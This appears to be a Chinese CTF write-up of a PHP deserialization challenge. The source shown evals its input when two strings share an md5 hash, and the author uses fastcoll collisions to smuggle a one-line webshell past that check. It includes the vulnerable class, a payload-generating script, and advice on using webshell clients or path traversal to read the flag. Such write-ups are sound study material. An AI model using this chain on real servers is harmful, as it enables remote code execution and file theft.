成理信安协会反序列化01-利用fastcoll实现md5碰撞

虽然是反序列化的题目,但主要考点在利用fastcoll实现md5碰撞。

直接上源码

 <?php
show_source(__FILE__);
class CDUTSEC
{
    public $var1;
    public $var2;

    function __construct($var1, $var2)
    {
        $var1 = $var1;
        $var2 = $var2;
    }

    function __destruct()
    {
        echo md5($this->var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
            eval($this->var1);
        }
    }
}

unserialize($_GET['payload']);

代码审计

  • 乍看上去很经典的md5碰撞题目,var1与var2原值弱比较不等md5编码后强比较相等。想直接拿自己的屯的payload直接上?太年轻了!仔细看一看我们拿flag的唯一途径是什么?eval($this->var1);!你的字符串不仅能够实现md5碰撞以绕过,而且还必须实现命令注入。怎么办?这时候就要用到md5碰撞滴神器,fastcoll了!

fastcoll使用详解

在我做题查阅各种fastcoll有关博客的时候,发现很多只是单纯的介绍,而到具体使用却写的比较模糊。我这里就结合题目写一下。
首先,新建一个写入一句话木马的文本文件。这里加了?>目的就是读完咱的一句话就提前结束,防止其他杂事。

然后把文件丢到fastcoll里跑一下(直接把文件拖到程序上,或者用命令行./fastcoll_v1.0.0.5.exe呦~)

然后我们得到两个文件。这两文件读到字符串是不一样的,但md5后是一样的。

然后上我们的读文件和序列化脚本。

其实就是主要用到file_get_contents函数,把文件读入字符串。

<?php
class CDUTSEC{
    public $var1;
    public $var2;
}

$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg1.txt');          
$tr->var2 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg2.txt');

echo urlencode(serialize($tr));

传个1=phpinfo();看看成功了没有。

成功了。我们就欢乐滴骑上了马。
菜刀蚁剑,或者直接readfile(‘../../../../../../flag’);都可以。